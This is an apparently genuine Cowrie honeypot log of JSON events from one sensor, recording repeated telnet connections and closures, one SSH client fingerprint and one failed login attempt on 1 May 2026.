{"eventid":"cowrie.session.closed","duration":33.91439914703369,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:10.923308Z","src_ip":"209.159.146.115","session":"b0e7cbdf446a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88001465797424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:11.311177Z","src_ip":"209.159.146.115","session":"52704ff4b98c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36768,"dst_ip":"159.203.135.109","dst_port":23,"session":"493d616034c3","protocol":"telnet","message":"New connection: 209.159.146.115:36768 (159.203.135.109:23) [session: 493d616034c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:11.592118Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36800,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f75841437e4","protocol":"telnet","message":"New connection: 209.159.146.115:36800 (159.203.135.109:23) [session: 7f75841437e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:11.598215Z"}
{"eventid":"cowrie.session.closed","duration":33.16109538078308,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:11.723382Z","src_ip":"209.159.146.115","session":"bc9285e5ed73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59103965759277,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:11.812983Z","src_ip":"209.159.146.115","session":"c2f435508753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40072,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5dfff6a4f2","protocol":"telnet","message":"New connection: 209.159.146.115:40072 (159.203.135.109:23) [session: da5dfff6a4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:12.096575Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41728,"dst_ip":"159.203.135.109","dst_port":23,"session":"832022c02298","protocol":"telnet","message":"New connection: 209.159.146.115:41728 (159.203.135.109:23) [session: 832022c02298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:12.352612Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42970,"dst_ip":"159.203.135.109","dst_port":23,"session":"56346ff1199c","protocol":"telnet","message":"New connection: 209.159.146.115:42970 (159.203.135.109:23) [session: 56346ff1199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:12.554063Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36780,"dst_ip":"159.203.135.109","dst_port":23,"session":"3418acfc06f6","protocol":"telnet","message":"New connection: 209.159.146.115:36780 (159.203.135.109:23) [session: 3418acfc06f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:12.595074Z"}
{"eventid":"cowrie.session.closed","duration":35.546353816986084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:13.399418Z","src_ip":"209.159.146.115","session":"99c5790980ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37849473953247,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:14.587248Z","src_ip":"209.159.146.115","session":"7d2ede663346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52726,"dst_ip":"159.203.135.109","dst_port":23,"session":"05913bd9d50b","protocol":"telnet","message":"New connection: 209.159.146.115:52726 (159.203.135.109:23) [session: 05913bd9d50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:15.744883Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53374,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5653c63a378","protocol":"telnet","message":"New connection: 209.159.146.115:53374 (159.203.135.109:23) [session: a5653c63a378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:16.087105Z"}
{"eventid":"cowrie.session.closed","duration":34.33964228630066,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:16.305735Z","src_ip":"209.159.146.115","session":"5a37cecfb218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55744,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f33d6cc97a8","protocol":"telnet","message":"New connection: 209.159.146.115:55744 (159.203.135.109:23) [session: 4f33d6cc97a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:16.989743Z"}
{"eventid":"cowrie.session.closed","duration":32.11848855018616,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:17.184211Z","src_ip":"209.159.146.115","session":"7b0214927e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89273285865784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:17.964998Z","src_ip":"209.159.146.115","session":"e9dd631f2b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34060,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e06064d548","protocol":"telnet","message":"New connection: 209.159.146.115:34060 (159.203.135.109:23) [session: 20e06064d548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:18.240455Z"}
{"eventid":"cowrie.session.closed","duration":31.77022957801819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:19.327014Z","src_ip":"209.159.146.115","session":"c36640138a83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39370,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7baf5efcdf1","protocol":"telnet","message":"New connection: 209.159.146.115:39370 (159.203.135.109:23) [session: a7baf5efcdf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:20.161692Z"}
{"eventid":"cowrie.session.closed","duration":34.246989250183105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:20.997358Z","src_ip":"209.159.146.115","session":"61fa082f60c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35056,"dst_ip":"159.203.135.109","dst_port":23,"session":"f67b5694e9f0","protocol":"telnet","message":"New connection: 185.26.126.47:35056 (159.203.135.109:23) [session: f67b5694e9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:21.623909Z"}
{"eventid":"cowrie.session.closed","duration":35.54266691207886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:21.724514Z","src_ip":"209.159.146.115","session":"e34a5dd54197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45496,"dst_ip":"159.203.135.109","dst_port":23,"session":"63ef81fe82f6","protocol":"telnet","message":"New connection: 209.159.146.115:45496 (159.203.135.109:23) [session: 63ef81fe82f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:22.272126Z"}
{"eventid":"cowrie.session.closed","duration":37.76558232307434,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:22.312645Z","src_ip":"209.159.146.115","session":"106466e1c641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4e1d0c71f5a","protocol":"telnet","message":"New connection: 209.159.146.115:44296 (159.203.135.109:23) [session: b4e1d0c71f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:22.855054Z"}
{"eventid":"cowrie.session.closed","duration":38.149181604385376,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:23.283848Z","src_ip":"209.159.146.115","session":"4084af00754a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58324,"dst_ip":"159.203.135.109","dst_port":23,"session":"839a8bf5acdc","protocol":"telnet","message":"New connection: 209.159.146.115:58324 (159.203.135.109:23) [session: 839a8bf5acdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:24.284675Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58384,"dst_ip":"159.203.135.109","dst_port":23,"session":"787ef28aceae","protocol":"telnet","message":"New connection: 209.159.146.115:58384 (159.203.135.109:23) [session: 787ef28aceae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:24.309444Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59686,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d17402aa02f","protocol":"telnet","message":"New connection: 209.159.146.115:59686 (159.203.135.109:23) [session: 1d17402aa02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:24.733940Z"}
{"eventid":"cowrie.session.closed","duration":33.08581733703613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:25.312744Z","src_ip":"209.159.146.115","session":"15ee0f867df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32963013648987,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:25.754481Z","src_ip":"209.159.146.115","session":"e6fc2f965d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34108,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce17eddac68c","protocol":"telnet","message":"New connection: 209.159.146.115:34108 (159.203.135.109:23) [session: ce17eddac68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:25.967617Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33748,"dst_ip":"159.203.135.109","dst_port":23,"session":"b783cbf2760f","protocol":"telnet","message":"New connection: 209.159.146.115:33748 (159.203.135.109:23) [session: b783cbf2760f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:26.631370Z"}
{"eventid":"cowrie.session.closed","duration":31.192065477371216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:27.143234Z","src_ip":"209.159.146.115","session":"8c054b0852ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38798,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f317ed4ed9d","protocol":"telnet","message":"New connection: 209.159.146.115:38798 (159.203.135.109:23) [session: 8f317ed4ed9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:27.312978Z"}
{"eventid":"cowrie.session.closed","duration":32.62602663040161,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:28.284033Z","src_ip":"209.159.146.115","session":"a4fb85e21974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6f43771dc4","protocol":"telnet","message":"New connection: 209.159.146.115:46564 (159.203.135.109:23) [session: dc6f43771dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:28.813608Z"}
{"eventid":"cowrie.session.closed","duration":35.85400724411011,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:29.247451Z","src_ip":"209.159.146.115","session":"f90bed425424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90630269050598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:29.462785Z","src_ip":"209.159.146.115","session":"e4aaff6e31f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26429295539856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:29.711599Z","src_ip":"209.159.146.115","session":"eb25fa4bd2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58014,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2535e671c22","protocol":"telnet","message":"New connection: 209.159.146.115:58014 (159.203.135.109:23) [session: e2535e671c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:29.954248Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34202,"dst_ip":"159.203.135.109","dst_port":23,"session":"06397d44acd0","protocol":"telnet","message":"New connection: 209.159.146.115:34202 (159.203.135.109:23) [session: 06397d44acd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:30.819056Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36080,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2342c109fd","protocol":"telnet","message":"New connection: 209.159.146.115:36080 (159.203.135.109:23) [session: 3d2342c109fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:31.333194Z"}
{"eventid":"cowrie.session.closed","duration":33.335447549819946,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:31.680109Z","src_ip":"209.159.146.115","session":"e166c62fc342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404897451400757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:32.719433Z","src_ip":"209.159.146.115","session":"65592b6bafb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39458,"dst_ip":"159.203.135.109","dst_port":23,"session":"76274a6b2308","protocol":"telnet","message":"New connection: 209.159.146.115:39458 (159.203.135.109:23) [session: 76274a6b2308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:33.280640Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48892,"dst_ip":"159.203.135.109","dst_port":23,"session":"69502dc6e051","protocol":"telnet","message":"New connection: 209.159.146.115:48892 (159.203.135.109:23) [session: 69502dc6e051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:34.536884Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55534,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c5fdfe89e6","protocol":"telnet","message":"New connection: 209.159.146.115:55534 (159.203.135.109:23) [session: a3c5fdfe89e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:36.901437Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59576,"dst_ip":"159.203.135.109","dst_port":23,"session":"47e9a20f9d8d","protocol":"telnet","message":"New connection: 209.159.146.115:59576 (159.203.135.109:23) [session: 47e9a20f9d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:38.082246Z"}
{"eventid":"cowrie.session.closed","duration":36.65911936759949,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:38.825122Z","src_ip":"209.159.146.115","session":"041c017582cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34600,"dst_ip":"159.203.135.109","dst_port":23,"session":"993ee52ae01c","protocol":"telnet","message":"New connection: 209.159.146.115:34600 (159.203.135.109:23) [session: 993ee52ae01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:39.323149Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35330,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2c465972b5","protocol":"telnet","message":"New connection: 209.159.146.115:35330 (159.203.135.109:23) [session: 9f2c465972b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:39.665546Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38012,"dst_ip":"159.203.135.109","dst_port":23,"session":"457d91e78db6","protocol":"telnet","message":"New connection: 209.159.146.115:38012 (159.203.135.109:23) [session: 457d91e78db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:40.595051Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39934,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a28be57b6d","protocol":"telnet","message":"New connection: 209.159.146.115:39934 (159.203.135.109:23) [session: 13a28be57b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:41.133088Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":38688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db3cfff2ed1","protocol":"ssh","message":"New connection: 103.180.212.135:38688 (159.203.135.109:22) [session: 1db3cfff2ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:41.347629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:41.351757Z","src_ip":"103.180.212.135","session":"1db3cfff2ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:41.549274Z","src_ip":"103.180.212.135","session":"1db3cfff2ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41346,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7474faa7aac","protocol":"telnet","message":"New connection: 209.159.146.115:41346 (159.203.135.109:23) [session: c7474faa7aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:41.699811Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e421b75f9a2","protocol":"telnet","message":"New connection: 209.159.146.115:41566 (159.203.135.109:23) [session: 3e421b75f9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:41.796983Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e886717be6b","protocol":"telnet","message":"New connection: 209.159.146.115:39684 (159.203.135.109:23) [session: 8e886717be6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:42.016521Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"password12","message":"login attempt [test/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:42.364740Z","src_ip":"103.180.212.135","session":"1db3cfff2ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43288,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0dc9e5aa5d","protocol":"telnet","message":"New connection: 209.159.146.115:43288 (159.203.135.109:23) [session: 5e0dc9e5aa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:42.414118Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40840,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8e381b4053c","protocol":"telnet","message":"New connection: 209.159.146.115:40840 (159.203.135.109:23) [session: e8e381b4053c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:42.466235Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24372a7ff9c","protocol":"telnet","message":"New connection: 209.159.146.115:42400 (159.203.135.109:23) [session: f24372a7ff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:43.122587Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:43.561886Z","src_ip":"103.180.212.135","session":"1db3cfff2ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49650,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f4630d00c84","protocol":"telnet","message":"New connection: 209.159.146.115:49650 (159.203.135.109:23) [session: 8f4630d00c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:43.663708Z"}
{"eventid":"cowrie.session.closed","duration":33.676862716674805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:43.995943Z","src_ip":"209.159.146.115","session":"e879e199e332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92582082748413,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:44.517852Z","src_ip":"209.159.146.115","session":"493d616034c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.769426584243774,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:45.448201Z","src_ip":"209.159.146.115","session":"ab2573a3e4f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.36816453933716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:45.720670Z","src_ip":"209.159.146.115","session":"832022c02298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8164427280426,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:45.912876Z","src_ip":"209.159.146.115","session":"da5dfff6a4f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33104,"dst_ip":"159.203.135.109","dst_port":23,"session":"012b301106a8","protocol":"telnet","message":"New connection: 209.159.146.115:33104 (159.203.135.109:23) [session: 012b301106a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:46.229045Z"}
{"eventid":"cowrie.session.closed","duration":34.73392128944397,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:47.328858Z","src_ip":"209.159.146.115","session":"3418acfc06f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":38098,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c6d9d7f628","protocol":"ssh","message":"New connection: 80.94.92.182:38098 (10.17.0.5:22) [session: c4c6d9d7f628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:47.418105Z"}
